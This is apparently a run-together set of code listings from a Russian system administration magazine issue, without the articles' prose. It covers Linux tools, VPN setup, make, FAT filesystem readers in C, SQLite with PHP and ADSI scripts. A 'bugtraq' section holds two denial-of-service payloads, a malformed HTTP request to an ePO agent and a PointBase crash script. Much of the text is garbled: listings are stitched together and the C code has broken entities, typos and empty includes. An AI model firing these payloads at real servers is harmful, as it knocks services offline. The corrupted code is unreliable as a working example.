Запуск Windows-приложений под Linux c помощью CrossOver Office Андрей Бешков rpm -Uhv cxoffice-2.0.1-1.i386.rpm # chstk -v /opt/cxoffice/bin/wineloader /opt/cxoffice/bin/: Non-executable stack area # chstk -e /opt/cxoffice/bin/wineloader # chstk -v /opt/cxoffice/bin/wineloader /opt/cxoffice/bin/: Executable stack area $ /opt/cxoffice/bin/officesetup /dev/cdrom /mnt/cdrom auto unhide,user,iocharset=koi8-r,exec,ro,noauto 0 0 cdrom -fstype=auto,unhide,ro,iocharset=koi8-r :/dev/cdrom # service autofs restart $ iconv -f cp-1251 -t utf-8 $HOME/.menu/cxoffice > $HOME/.menu/cxoffice $ update-menus –n –u $ /opt/cxoffice/bin/wine –-cx-app viewer.exe $ /opt/cxoffice/bin/wine --workdir "/home/tigrisha/.cxoffice/dotwine/fake_windows/Program Files/QuickViewer" "C://Program Files//QuickViewer//viewer.exe" $ /opt/cxoffice/bin/wine –wl-app viewer.exe # KDE Config File [Desktop Entry] Name=Super Fast Graphic Viewer Exec="/opt/cxoffice/bin/wine" --workdir "/home/tigrisha/.cxoffice/dotwine/fake_windows/Program Files/QuickViewer" "C://Program Files//QuickViewer//viewer.exe" Type=Application Comment=Super Fast Viewer X-Created-by=CrossOver Office Icon=/home/tigrisha/.cxoffice/dotwine/fake_windows/Windows/Icons/0050046416b9.14.xpm [Desktop Entry] Name= Super Fast Graphic Viewer Type=Application Exec="/opt/cxoffice/bin/wine" --workdir "/home/tigrisha/.cxoffice/dotwine/fake_windows/Program Files/QuickViewer" "C://Program Files//QuickViewer//viewer.exe" X-Created-by=cxoffice Icon=/home/tigrisha/.cxoffice/dotwine/fake_windows/Windows/Icons/0050046416b9.14.xpm $ update-menus –n –u Спасем пингвина Сергей Яремчук #tar -zxvf mindi-0.95_cvs_20040110.tgz # cd mindi-0.95_cvs_20040110 # ./install.sh # rpm -i mindi-0.95-1.i386.rpm # cdrecord -blank fast dev=0,0,0 speed=12 /root/images/mindi/mindi.iso #tar -xzvf mondo-1.75_cvs_20040110.tgz # cd mondo-1.75_cvs_20040110 #./configure && make #su #make install #usr/local/bin/mondoarchive # mondoarchive -Oc 24 -g #mondoarchive -Vc 24 # mount 192.168.0.10:/home/nfs -t nfs /mnt/nfs # mondoarchive -OVn 192.168.1.3:/home/nfs -g -s 650m # umount /mnt/nfs #mondoarchive -E /mnt/dos /mnt/cdrom -9 -Ow 12 #compare # interactive Do you want to partition your devices? No Т.е. хотим переразбить диск? Do you want to format them? No И форматировать его затем? Do you want to restore everything? No Надо ли восстанавливать всю информацию? Do you want to restore something? Yes Или хотим что-то восстановить выборочно? Which path do you want to restore? /home/hugo [e.g.] /home Какой именно раздел? Do you want to run LILO to setup your boot sectors? No Хотим ли восстановить LILO? # mondorestore –mbr # mondorestore Мы с Linux этим ложимся и с Linux этим встаем – последствия гибернации Антон Борисов append="apm=power-off resume=/dev/hdc5 acpi=force" lilo -v echo 4 > /proc/acpi/sleep /sbin/mkswap /dev/hdc5 dd if=/dev/hdc5 bs=1k count=4 2> /dev/null | strings | grep SWAP "noresume init=/bin/sh" dd if=/dev/hdc5 bs=1k count=4 2> /dev/null | strings | grep SUSP cat /etc/mtab | grep smbfs Простая установка MRTG для Red Hat Linux Андрей Маркелов rpm –qi <имя пакета> rpm –i mrtg-2.x-y-z.i386.rpm Title[eth0]: Traffic eth0 MaxBytes[eth0]: 125000 AbsMax[eth0]: 125000 Options[eth0]: gauge Target[eth0]: `/usr/sbin/cban -i eth0 -m` PageTop[eth0]:

eth0 statistics

YLegend[eth0]: Bytes/s ShortLegend[eth0]: B/s Legend1[eth0]: Incoming Traffic Legend2[eth0]: Outgoing Traffic Legend3[eth0]: Maximum Incoming Traffic Legend4[eth0]: Maximum Outgoing Traffic LegendI[eth0]:  In: LegendO[eth0]:  Out: WithPeak[eth0]: ymwd . /usr/bin/mrtg /etc/mrtg/mrtg.cfg --logging /var/log/mrtg.log crontab -e */5 * * * * /usr/bin/mrtg /etc/mrtg/mrtg.cfg --logging /var/log/mrtg.log VPN success story (mini-HOWTO) Андрей Мозговой ./configure make make install PPP (point-to-point protocol) support [*] PPP multilink support (EXPERIMENTAL) [*] PPP filtering PPP support for async serial ports PPP support for sync tty ports PPP Deflate compression PPP BSD-Compress compression PPP MPPE compression (encryption) PPP over Ethernet (EXPERIMENTAL) ./configure --with-pppd-ip-alloc. /* дополнительная опция для снятия ограничения * на количество сессий и еще кое-что полезное с * выделением IP-адресов. */ make make install Файл /etc/ppp/options lock Файл /etc/ppp/options.pptpd #debug ipparam PoPToP lock mtu 1490 mru 1490 ms-dns proxyarp auth refuse-pap refuse-chap refuse-mschap require-mschap-v2 require-mppe require-mppe-128 ipcp-accept-local ipcp-accept-remote lcp-echo-failure 30 lcp-echo-interval 5 deflate 0 Файл /etc/pptpd.conf #debug speed 115200 option /etc/ppp/options.pptpd #localip 10.0.0.1 #remoteip 10.0.0.2-254 Файл /etc/rc.d/rc.pptpd #!/bin/sh # # /etc/rc.d/rc.pptpd # # description: control pptp server # case "$1" in start) modprobe ppp_async modprobe ppp_generic modprobe ppp_mppe modprobe slhc if /usr/local/sbin/pptpd; then touch /var/lock/subsys/pptpd fi ;; stop) killall –TERM pptpd rm -f /var/lock/subsys/pptpd ;; restart) killall pptpd if /usr/local/sbin/pptpd; then touch /var/lock/subsys/pptpd fi ;; status) ifconfig ;; *) echo "Usage: $0 {start|stop|restart|status}" ;; esac # Secrets for authentication using CHAP # client server secret IP addresses test * test 192.168.1.5 Frenzy: FreeBSD в кармане сисадмина Сергей Можайский options CD9660 options CD9660_ROOT vfs.root.mountfrom="cd9660:acd0a" diskless_mount="/etc/rc.frenzy" mkisofs -b boot/cdboot -no-emul-boot -r -J -D -V Frenzy_02 -o iso/frenzy_v02_release.iso FRENZY Работа с утилитой make Антон Иванов tar xzvf имя_файла.tar.gz или tar xjvf имя_файла.tar.bz2 echo $? make install su -c make install make clean make distclean make uninstall make: *** Не заданы цели и не найден make-файл. Останов. make: *** Нет правила для сборки цели 'uninstall'. Останов. ls Makefile* make -f Makefile.cvs make -i VERSION = 2 PATCHLEVEL = 6 SUBLEVEL = 1 EXTRAVERSION = VERSION = 3 PATCHLEVEL = 0 SUBLEVEL = 0 EXTRAVERSION = topsecret TOPSUBDIRS = <...> kdf kedit kfloppy <...> cc main.c main.c: #include int main() { int a, rslt; printf("Program calculates the square of a number.\n"); printf("Please enter an integer: "); scanf("%d", &a); rslt = kvadrat(a); printf("%d x %d = %d\n", a, a, rslt); return 0; } kvadrat.c: int kvadrat(number) { return number * number; } цель: зависимость_1 зависимость_2 зависимость_N команда_1 команда_N kv: main.o kvadrat.o cc -o kv main.o kvadrat.o strip kv main.o: main.c cc -c -o main.o main.c kvadrat.o: kvadrat.c cc -c -o kvadrat.o kvadrat.c ./kv clean: rm -f *.o kv install: kv install -D -m 544 kv /opt/kv/kv install <параметры> /opt/kv/file1 install <параметры> /opt/kv/file2 и т.д. INSTALL_PATH = /opt/kv/ install -D -m 544 kv $(INSTALL_PATH)/kv INSTALL_PATH = /opt/kv/`uname -r`/ backup: backup/1 backup/2 backup/3 : Backup completed backup/1: 1 cp 1 ~/backup backup/2: 2 cp 2 ~/backup backup/3: 3 cp 3 ~/backup Архитектура файловой системы FAT Владимир Мешков #include #include #include #include #include #include "split.h" #include // максимальная длина короткого имени файла #define SHORT_NAME 13 struct split_name { __u8 name[9]; // имя файла __u8 ext[4]; // расширение файла int name_len, // длина имени файла ext_len; // длина расширения файла }; #ifndef FAT16_PART_NAME #define FAT16_PART_NAME "/dev/hda1" #endif __u16 *fat16; // сюда копируем таблицу FAT16 __u16 sector_size; // размер сектора (из FAT16) __u16 dir_entries; // число 32-байтных дескрипторов // в root-каталоге (0 для FAT32) __u16 sectors; // общее число секторов в разделе __u32 fat16_size; // размер FAT16 __u32 root_size; // размер корневого каталога __u32 data_start; // начало области данных __u16 byte_per_cluster; // размер кластера в байтах __u16 next_cluster; // очередной кластер в цепочке __u8 *dir_entry = NULL; // указатель на записи каталога int hard; // дескриптор файла устройства int fat; int main() { int num; __u8 *full_path = "/Folder1/Folder2/text.txt"; hard = open(FAT16_PART_NAME, O_RDONLY); if(hard < 0) { perror(FAT16_PART_NAME); exit(-1); } num = fat16_read_file(full_path, 10); if(num < 0) perror("fat16_read_file"); else printf("Read %d clusters\n", num); close(hard); return 0; } int fat16_read_file(__u8 *full_path, int num) { // структура для хранения составных частей файла struct split_name sn; // буфер для временного хранения составных элементов // полного пути файла __u8 tmp_name_buff[SHORT_NAME]; static int i = 1; int n; __u8 *tmp_buff; __u16 start_cluster, next_cluster; memset(tmp_name_buff, 0, SHORT_NAME); memset((void *)&sn, 0, sizeof(struct split_name)); if(full_path[0] != '/') return -1; if(read_fbs() < 0) return -1; memcpy((void *)§or_size, (void *)fbs.sector_size, 2); memcpy((void *)&dir_entries, (void *)fbs.dir_entries, 2); memcpy((void *)§ors, (void *)fbs.sectors, 2); byte_per_cluster = fbs.cluster_size * 512; printf("System id - %s\n", fbs.system_id); printf("Sector size - %d\n", sector_size); printf("Cluster size - %d\n", fbs.cluster_size); printf("Reserved - %d\n", fbs.reserved); printf("FATs number - %d\n",fbs.fats); printf("Dir entries - %d\n", dir_entries); printf("Sectors - %d\n", sectors); printf("Media - 0x%X\n", fbs.media); printf("FAT16 length - %u\n", fbs.fat_length); printf("Total sect - %u\n", fbs.total_sect); printf("Byte per cluster - %d\n", byte_per_cluster); fat16_size = fbs.fat_length * 512; if(read_fat16() < 0) return -1; if(read_root_dentry() < 0) return -1; #ifdef DEBUG fat = open("dir16", O_CREAT|O_WRONLY, 0600); write(fat, dir_entry, root_size); close(fat); #endif data_start = 512 * fbs.reserved + fat16_size * fbs.fats + root_size; while(1) { memset(tmp_name_buff, 0, SHORT_NAME); memset((void *)&sn, 0, sizeof(struct split_name)); for(n = 0 ; n < SHORT_NAME; n++, i++) { tmp_name_buff[n] = full_path[i]; if((tmp_name_buff[n] == '/') || (tmp_name_buff[n] == '\0')) { i++; break; } } tmp_name_buff[n] = '\0'; if(split_name(tmp_name_buff, &sn) < 0) { printf("not valid name\n"); return -1; } if(get_dentry(&sn) < 0) { printf("No such file!\n"); return -1; } if(dentry.attr & 0x10) { if(read_directory(dentry.start) < 0) return -1; continue; } if(dentry.attr & 0x20) { start_cluster = dentry.start; // сюда будет считываться содержимое кластера tmp_buff = (__u8 *)malloc(byte_per_cluster); // в этом файле сохраним считанную информацию n = open("clust", O_CREAT|O_RDWR, 0600); if(n < 0) { perror("open"); return -1; } printf("file`s first cluster - 0x%X .. ", start_cluster); for(i = 0; i < num; i++) { memset(tmp_buff, 0, byte_per_cluster); if(read_cluster(start_cluster, tmp_buff) < 0) return -1; if(write(n, tmp_buff, byte_per_cluster) < 0) { perror("write"); close(n); return -1; } next_cluster = fat16[start_cluster]; #ifdef DEBUG printf("OK. Readed\n"); printf("file`s next cluster - 0x%X .. ", next_cluster); #endif if(next_cluster == EOF_FAT16) { #ifdef DEBUG printf("last cluster.\n"); #endif free(tmp_buff); close(n); return ++i; } start_cluster = next_cluster; } #ifdef DEBUG printf("stop reading\n"); #endif return i; } } } int read_fbs() { if(read(hard,(__u8 *)&fbs, sizeof(fbs)) < 0) return -1; return 0; } int read_fat16() { // смещение к FAT16 от начала раздела __u64 seek = (__u64)(fbs.reserved) * 512; fat16 = (void *)malloc(fat16_size); if(pread64(hard, (__u8 *)fat16, fat16_size, seek) < 0) return -1; return 0; } int read_root_dentry() { // смещение к корневому каталогу от начала раздела __u64 seek = (__u64)fbs.reserved * 512 + fat16_size * fbs.fats; // вычисляем размер корневого каталога root_size = 32 * dir_entries; dir_entry = (__u8 *)malloc(root_size); if(!dir_entry) return -1; memset(dir_entry, 0, root_size); if(pread64(hard, dir_entry, root_size, seek) < 0) return -1; return 0; } SEEK = DATA_START + (CLUSTER_NUM - 2) * BYTE_PER_CLUSTER, где SEEK – смещение к кластеру на разделе; DATA_START – начало области данных; CLUSTER_NUM – порядковый номер кластера; BYTE_PER_CLUSTER – размер кластера в байтах. int read_cluster(__u16 cluster_num, __u8 *tmp_buff) { // вычисляем смещение к кластеру __u64 seek = (__u64)(byte_per_cluster) * (cluster_num - 2) + data_start; if(pread64(hard, tmp_buff, byte_per_cluster, seek) < 0) return -1; return 0; } int read_directory(__u16 start_cluster) { int i = 1; __u16 next_cluster; for(; ;i++) { dir_entry = (__u8 *)realloc(dir_entry, i * byte_per_cluster); if(!dir_entry) return -1; if(read_cluster(start_cluster, (dir_entry + (i - 1) * byte_per_cluster)) < 0) return -1; next_cluster = fat16[start_cluster]; #ifdef DEBUG printf("Next cluster - 0x%X\n", next_cluster); fat = open("dir16", O_CREAT|O_WRONLY, 0600); write(fat, dir_entry, root_size); close(fat); #endif if(next_cluster & EOF_FAT16) break; start_cluster = next_cluster; } return 0; } int get_dentry(struct split_name *sn) { int i = 0; for(; ; i++) { memcpy((void *)&dentry, dir_entry + i * sizeof(dentry), sizeof(dentry)); if(!(memcmp(dentry.name, sn->name, sn->name_len)) && !(memcmp(dentry.ext, sn->ext, n->ext_len))) break; if(!dentry.name[0]) return -1; } #ifdef DEBUG printf("name - %s\n", dentry.name); printf("start cluster - 0x%X\n", dentry.start); printf("file size - %u\n", dentry.size); printf("file attrib - 0x%X\n", dentry.attr); #endif return 0; } INCDIR = /usr/src/linux/include .PHONY = clean fat16: fat16.o split.o gcc -I$(INCDIR) $^ -g -o $@ %.o: %.c gcc -I$(INCDIR) -DDEBUG -c $^ clean: rm -f *.o rm -f ./fat16 int get_cluster(__u16 cluster_num) { __u16 seek; __u16 clust; seek = (cluster_num * 3) / 2; memcpy((__u8 *)&clust, (__u8 *)(fat12 + seek), 2); if(cluster_num % 2) clust >>= 4; else clust &= 0x0FFF; asm( " xorw %%ax, %%ax \n\t" " btw $0, %%cx \n\t" " jnc 1f \n\t" " shrw $4, %%dx \n\t" " jmp 2f \n\t" "1: andw $0x0FFF, %%dx \n\t" "2: movw %%dx, %%ax \n\t" :"=a" (next) :"d" (clust), "c" (cluster_num)); return clust; } struct pt_struct { u8 bootable; // флаг активности раздела u8 start_part[3]; // координаты начала раздела u8 type_part; // системный идентификатор u8 end_part[3]; // координаты конца раздела u32 sect_before; // число секторов перед разделом u32 sect_total; // размер раздела в секторах (число секторов в разделе) }; #include #include #include #include #include #define SIGNATURE 0xAA55 #define DEVICE "/dev/hda" #define PT_SIZE 0x10 struct systypes { __u8 part_type; __u8 *part_name; }; struct systypes i386_sys_types[] = { {0x00, "Empty"}, {0x01, "FAT12"}, {0x04, "FAT16 <32M"}, {0x05, "Extended"}, {0x06, "FAT16"}, {0x0b, "Win95 FAT32"}, {0x0c, "Win95 FAT32 (LBA)"}, {0x0e, "Win95 FAT16 (LBA)"}, {0x0f, "Win95 Ext'd (LBA)"}, {0x82, "Linux swap"}, {0x83, "Linux"}, {0x85, "Linux extended"}, {0x07, "HPFS/NTFS"} }; #define PART_NUM (sizeof(i386_sys_types) / sizeof(i386_sys_types[0])) #define MAX_PART 20 struct pt_struct { __u8 bootable; __u8 start_part[3]; __u8 type_part; __u8 end_part[3]; __u32 sect_before; __u32 sect_total; } pt_t[MAX_PART]; int hard; // дескриптор файла устройства __u8 mbr[512]; // сюда считаем MBR #define FAT32_PART_NUM 5 struct fat_boot_sector fbs; struct fat_boot_fsinfo fsinfo; struct msdos_dir_entry dentry; __u32 *fat32 = NULL; // сюда копируем таблицу FAT32 __u16 sector_size; // размер сектора (из FAT32) __u16 dir_entries; // 0 для FAT32 __u16 sectors; // число секторов на разделе __u32 fat32_size; // размер FAT32 __u32 data_start; // начало области данных __u16 byte_per_cluster; // сколько байт в кластере (размер кластера в байтах) __u32 next_cluster; // очередной кластер в цепочке __u32 root_cluster; // ROOT cluster – начальный кластер корневого каталога __u8 *dir_entry = NULL; // указатель на записи каталога __u64 start_seek = 0; // стартовое смещение к разделу (в байтах) int main() { int num = 0; int cluster_num = 5; // сколько кластеров считывать из файла __u8 *full_path = "/Folder1/Folder2/readme"; // файл для считывания hard = open(DEV_NAME, O_RDONLY); if(hard < 0) { perror(DEV_NAME); exit(-1); } if(get_pt_info(hard) < 0) { perror("get_pt_info"); exit(-1); } show_pt_info(); start_seek = (__u64)(pt_t[FAT32_PART_NUM - 1].sect_before) * 512; num = fat32_read_file(full_path, cluster_num); if(num < 0) perror("fat32_read_file"); else printf("Read %d clusters\n", num); close(hard); return 0; } int get_pt_info(int hard) { int i = 0; __u64 seek; read_main_ptable(hard); if(check_sign() < 0) { printf("Not valid signature!\n"); return -1; } for(; i < 4; i++) { if((pt_t[i].type_part == 0xF) || (pt_t[i].type_part == 0x5) || (pt_t[i].type_part == 0x0C)) { seek = (__u64)pt_t[i].sect_before * 512; read_ext_ptable(hard, seek); break; } } return 0; } void read_main_ptable(int hard) { if(read(hard, mbr, 512) < 0) { perror("read"); close(hard); exit(-1); } memset((void *)pt_t, 0, (PT_SIZE * 4)); memcpy((void *)pt_t, mbr + 0x1BE, (PT_SIZE * 4)); return; } int check_sign() { __u16 sign = 0; memcpy((void *)&sign, (void *)(mbr + 0x1FE), 2); #ifdef DEBUG printf("Signature - 0x%X\n", sign); #endif if(sign != SIGNATURE) return -1; return 0; } void read_ext_ptable(int hard, __u64 seek) { // начиная с этой позиции, массив структур pt_t будет // заполняться информацией о логических дисках int num = 4; __u8 smbr[512]; for(;;num++) { memset((void *)smbr, 0, 512); pread64(hard, smbr, 512, seek); memset((void *)&pt_t[num], 0, PT_SIZE * 2); memcpy((void *)&pt_t[num], smbr + 0x1BE, PT_SIZE * 2); pt_t[num].sect_before += (seek / 512); if(!(pt_t[num + 1].type_part)) break; seek = ((__u64)(pt_t[num].sect_before + pt_t[num].sect_total)) * 512; } return; } void show_pt_info() { int i = 0, n; #ifdef DEBUG printf("Число разделов на диске - %d\n", PART_NUM); #endif for(; i < MAX_PART; i++) { if(!pt_t[i].type_part) break; printf("\nТип раздела %d - ", i); for(n = 0; n < PART_NUM; n++) { if(pt_t[i].type_part == i386_sys_types[n].part_type) { printf("%s\n", i386_sys_types[n].part_name); break; } } if(n == PART_NUM) printf("unknown type\n"); printf("Признак загрузки - 0x%X\n", pt_t[i].bootable); printf("Секторов в разделе %d - %d\n", i, pt_t[i].sect_total); printf("Секторов перед разделом %d - %d\n\n", i, pt_t[i].sect_before); } return; } int fat32_read_file(__u8 *full_path, int num) { struct split_name sn; __u8 tmp_name_buff[SHORT_NAME]; int i = 1, n; __u32 start_cluster, next_cluster; __u8 *tmp_buff; memset(tmp_name_buff, 0, SHORT_NAME); memset((void *)&sn, 0, sizeof(struct split_name)); if(full_path[0] != '/') return -1 if(read_fbs() < 0) return -1; memcpy((void *)§or_size, (void *)fbs.sector_size, 2); memcpy((void *)&dir_entries, (void *)fbs.dir_entries, 2); memcpy((void *)§ors, (void *)fbs.sectors, 2); if(read_fs_info() < 0) return -1; printf("Signature1 - 0x%X\n", fsinfo.signature1); printf("Signature2 - 0x%X\n", fsinfo.signature2); fat32_size = fbs.fat32_length * 512; // размер FAT32 в байтах data_start = 512 * fbs.reserved + fat32_size * 2; // начало поля данных byte_per_cluster = fbs.cluster_size * 512; // размер кластера в байтах root_cluster = fbs.root_cluster; // номер кластера корневого каталога if(read_fat32() < 0) return -1; dir_entry = (__u8 *)malloc(byte_per_cluster); if(!dir_entry) return -1; if(read_directory(root_cluster) < 0) return -1; while(1) { memset(tmp_name_buff, 0, SHORT_NAME); memset((void *)&sn, 0, sizeof(struct split_name)); for(n = 0 ; n < SHORT_NAME; n++, i++) { tmp_name_buff[n] = full_path[i]; if((tmp_name_buff[n] == '/') || (tmp_name_buff[n] == '\0')) { i++; break; } } tmp_name_buff[n] = '\0'; if(split_name(tmp_name_buff, &sn) < 0) { printf("not valid name\n"); eturn -1; } if(get_dentry(&sn) < 0) { printf("No such file!\n"); return -1; } start_cluster = (((__u32)dentry.starthi << 16) | dentry.start); if(dentry.attr & 0x10) { // это каталог if(read_directory(start_cluster) < 0) return -1; continue; } if(dentry.attr & 0x20) { // а это - файл tmp_buff = (__u8 *)malloc(byte_per_cluster); n = open("clust", O_CREAT|O_RDWR, 0600); if(n < 0) { perror("open"); return -1; } printf("file`s first cluster - 0x%X .. ", start_cluster); for(i = 0; i < num; i++) { memset(tmp_buff, 0, byte_per_cluster); if(read_cluster(start_cluster, tmp_buff) < 0) return -1; if(write(n, tmp_buff, byte_per_cluster) < 0) { perror("write"); return -1; } next_cluster = fat32[start_cluster]; if(next_cluster == EOF_FAT32) { free(tmp_buff); close(n); return ++i; } start_cluster = next_cluster; } return i; } } } int read_fbs() { if(pread64(hard, (__u8 *)&fbs, sizeof(fbs), start_seek) < 0) return -1; return 0; } int read_fs_info() { __u64 seek = (__u64)fbs.info_sector * 512 + start_seek; if(pread64(hard, (__u8 *)&fsinfo, sizeof(fsinfo), seek) < 0) return -1; return 0; } int read_fat32() { __u64 seek = (__u64)fbs.reserved * 512 + start_seek; fat32 = (void *)malloc(fat32_size); if(!fat32) return -1; if(pread64(hard, (__u8 *)fat32, fat32_size, seek) < 0) return -1; return 0; } int read_cluster(__u32 cluster_num, __u8 *tmp_buff) { __u64 seek = (__u64)(byte_per_cluster) * (cluster_num - 2) + data_start + start_seek; if(pread64(hard, tmp_buff, byte_per_cluster, seek) < 0) return -1; return 0; } int read_directory(__u32 start_cluster) { int i = 2; __u32 next_cluster; if(read_cluster(start_cluster, dir_entry) < 0) return -1; next_cluster = fat32[start_cluster]; if((next_cluster == EOF_FAT32) || (next_cluster == ї 0xFFFFFF8)) return 0; for(; ;i++) { start_cluster = next_cluster; dir_entry = (__u8 *)realloc(dir_entry, i * byte_per_cluster); if(!dir_entry) return -1; if(read_cluster(start_cluster, (dir_entry + (i - 1) * byte_per_cluster)) < 0) return -1; next_cluster = fat32[start_cluster]; if((next_cluster == EOF_FAT32) || (next_cluster == 0xFFFFFF8)) return 0; } return 0; } int get_dentry(struct split_name *sn) { int i = 0; for(;;i++) { memcpy((void *)&dentry, dir_entry + i * sizeof(dentry), sizeof(dentry)); if(!(memcmp(dentry.name, sn->name, sn->name_len)) && !(memcmp(dentry.ext, sn->ext, sn->ext_len))) break; if(!dentry.name[0]) return -1; } return 0; } int get_i_num(char *name) { int i = 0, rec_len = 0; struct ext2_dir_entry_2 dent; for(; i < 700; i++) { memcpy((void *)&dent, (buff + rec_len), sizeof(dent)); if(!memcmp(dent.name, name, dent.name_len)) break; rec_len += dent.rec_len; } return dent.inode; } int get_i_num(char *name) { /* Параметр функции – имя файла. Возвращаемое значение – * номер inode файла. */ int rec_len = 0; // эта структура описывает формат записи корневого каталога: struct ext2_dir_entry_2 dent; /* В глобальном буфере buff находится массив записей каталога. * Для определения порядкового номера inode файла необходимо * найти в этом массиве запись с именем этого файла. * Для этого организуем цикл: */ for(;;) { /* Копируем в структуру dent записи каталога: */ memcpy((void *)&dent, (buff + rec_len), sizeof(dent)); /* Длина имени файла, равная нулю, означает, что мы * перебрали все записи каталога и записи с именем * нашего файла не нашли. Значит, пора возвращаться: */ if(!dent.name_len) return -1; /* Поиск выполняется путем сравнения имен файлов. * Если имена совпадают - выходим из цикла: */ if(!memcmp(dent.name, name, strlen(name))) break; /* Если имена не совпали - смещаемся к следующей записи: */ rec_len += dent.rec_len; } /* В случае успеха возвращаем номер inode файла: */ return dent.inode; } Кэширование веб-сценариев Андрей Уваров Начало кэширования. Конец кэширования. Тело сценария. http://nowhere.no/index.php?id1=a&id2=b http://nowhere.no/index.php?id2=b&id1=a Использование SQLite и PHP 5 Денис Колисниченко extension=php_sqlite.dll tar xzf sqlite.tar.gz # Распаковываем архив в каталог «sqlite» mkdir bld # Создаем каталог для сборки SQLite – «bld» cd bld # Переходим в этот каталог ../sqlite/configure # Запускаем конфигуратор make # Запускаем make для сборки SQLite resource sqlite_open ( string filename [, int mode [, string &error_message]]) sqlite_close( resource dbhandle ) resource sqlite_popen ( string filename [, int mode [, string &error_message]]) resource sqlite_query ( resource dbhandle, string query [,int result_type]) resource sqlite_query ( string query, resource dbhandle [,int result_type]) Листинг 1. Открытие и закрытие базы данных mixed sqlite_column ( resource result, mixed index_or_name [, bool decode_binary]) string sqlite_fetch_single ( resource result [, int result_type [, bool decode_binary]]) Листинг 2. Функция sqlite_fetch_single 0) { // печатаем значение «77» echo sqlite_fetch_single($res); } sqlite_close($dbhandle); } ?> array sqlite_array_query ( resource dbhandle, string query [, int result_type [, bool decode_binary]]) bool sqlite_next ( resource result) bool sqlite_rewind ( resource result) bool sqlite_seek ( resource result, int rownum) int sqlite_changes ( resource dbhandle) string sqlite_field_name ( resource result, int field_index) bool sqlite_has_more ( resource result) int sqlite_last_error ( resource dbhandle) string sqlite_error_string( resource dbhandle ) int sqlite_num_rows(resource dbhandle) int sqlite_num_fields(resource dbhandle) void sqlite_busy_timeout ( resource dbhandle, int milliseconds) CREATE TABLE t1(a INTEGER, b INTEGER, c VARCHAR(100)); INSERT INTO t1 VALUES(1,13153,'thirteen thousand one hundred fifty three'); INSERT INTO t1 VALUES(2,75560,'seventy five thousand five hundred sixty'); ... 995 строк пропущено INSERT INTO t1 VALUES(998,66289,'sixty six thousand two hundred eighty nine'); INSERT INTO t1 VALUES(999,24322,'twenty four thousand three hundred twenty two'); INSERT INTO t1 VALUES(1000,94142,'ninety four thousand one hundred forty two'); BEGIN; SELECT count(*), avg(b) FROM t2 WHERE b>=0 AND b SELECT count(*), avg(b) FROM t2 WHERE b>=100 AND b ... 96 строк пропущено SELECT count(*), avg(b) FROM t2 WHERE b>=9800 AND b SELECT count(*), avg(b) FROM t2 WHERE b>=9900 AND b COMMIT; BEGIN; SELECT count(*), avg(b) FROM t2 WHERE c LIKE '%one%'; SELECT count(*), avg(b) FROM t2 WHERE c LIKE '%two%'; ... 96 строк пропущено SELECT count(*), avg(b) FROM t2 WHERE c LIKE '%ninety nine%'; SELECT count(*), avg(b) FROM t2 WHERE c LIKE '%one hundred%'; COMMIT; BEGIN; UPDATE t2 SET b=468026 WHERE a=1; UPDATE t2 SET b=121928 WHERE a=2; ... 24996 строк пропущено UPDATE t2 SET b=35065 WHERE a=24999; UPDATE t2 SET b=347393 WHERE a=25000; COMMIT; BEGIN; UPDATE t2 SET c='one hundred forty eight thousand three hundred eighty two' WHERE a=1; UPDATE t2 SET c='three hundred sixty six thousand five hundred two' WHERE a=2; ... 24996 строк пропущено UPDATE t2 SET c='three hundred eighty three thousand ninety nine' WHERE a=24999; UPDATE t2 SET c='two hundred fifty six thousand eight hundred thirty' WHERE a=25000; COMMIT; bugtraq стр. 64 POST /spipe/pkg?AgentGuid={}&Source=Agent_3.0.0 HTTP/1.0 Accept: application/octet-stream Accept-Language: en-us Content-Type: application/octet-stream User-Agent: Mozilla/4.0 (compatible; SPIPE/3.0; Windows) Host: KILL_EPO Content-Length: -1 Connection: Keep-Alive .(.!-- pointbase denial-of-service by marc schoenefeld --".). .(.project default="dos".). .(.property name="host" value="192.168.0.7"/.). .(.target name="dos".). .(.sql driver="com.pointbase.jdbc.jdbcUniversalDriver" url="jdbc:pointbase://${host}:9092/sample" userid="pbpublic" password="pbpublic" print="true" .). .(.![CDATA[ //DROP FUNCTION CRASH5(VARCHAR(20)); CREATE FUNCTION CRASH5(IN P1 VARCHAR(20)) RETURNS VARCHAR(20) LANGUAGE JAVA NO SQL EXTERNAL NAME "sun.misc.MessageUtils::toStderr" PARAMETER STYLE SQL; SELECT CRASH5(null) from SYSUSERS; ]].). .(.classpath.). .(.pathelement location="pbclient.jar"/.). .(./classpath.). .(./sql.). .(./target.). .(./project.). Программное управление ADSI: WinNT Иван Коробко WinNT:[//DomainName[/ComputerName[/ObjectName[,ClassName]]]] Пример 1а) Set obj=GetObject("WinNT://" & DomainName & "/" & ComputerName & "/" & ObjectName & "," & ClassName). For Each element In obj element.value Next Пример 1б) Set obj = GetObject("WinNT://" & DomainName) obj.Filter = Array("user") For Each element In obj element.value Next Пример 2а). Первый способ доступа к объектной модели strDomain="MyDomain" Set Computer =GetObject("WinNT://" & strDomain & ",user") For Each User in Computer users_d=users_d & " "& User.Name & chr(13) Next Wsh.Echo users_d Пример 2б) Второй способ доступа к объектной модели strDomain="MyDomain" Set Computer =GetObject("WinNT://" & strDomain) Computer.Filter = Array("user") For Each User in Computer users_d=users_d & " "& User.Name & chr(13) Next Wsh.Echo users_d Пример 3a). Первый способ доступа к объектной модели strDomain="MyDomain" strUser="MyUserName" Set Computer =GetObject("WinNT://" & strDomain & "/" & strUser & ",user") users_d= User.Name & chr(13) Wsh.Echo users_d Пример 3б). Второй способ доступа к объектной модели strDomain="MyDomain" Set Computer =GetObject("WinNT://" & strDomain) Computer.Filter = Array("user") For Each User in Computer users_d= User.Name & chr(13) Next Wsh.Echo users_d Пример 4 Set obj=GetObject("WinNT:") For Each element In obj temp=element.Name Next MsgBox temp Пример 5. Чтение всех полей класса Computer Set obj=GetObject("WinNT:") For Each element In obj t1="Name: " + cstr(element.Name)+chr(13) t2="MinPasswordLength: "+ cstr(element.MinPasswordLength)+chr(13) t3="MinPasswordAge: " + cstr(element.MinPasswordAge)+chr(13) t4="MaxBadPasswordsAllowed: "+ cstr(element.MaxBadPasswordsAllowed)+chr(13) t5="AutoUnlockInterval: " + cstr(element.AutoUnlockInterval)+chr(13) t6="LockoutObservationInterval: " + cstr(element.LockoutObservationInterval) temp=temp+t1+t2+t3+t4+t5+t6+chr(13)+chr(13) Next MsgBox temp Пример 6. Изменение значения минимальной длины пароля в домена (NewLenght=10) NewLenght=10 Set obj=GetObject("WinNT:") For Each element In obj element.MinPasswordLength= NewLenght obj.SetInfo temp ="NEW: MinPasswordLength: "+ cstr(element.MinPasswordLength)+chr(13) Next MsgBox 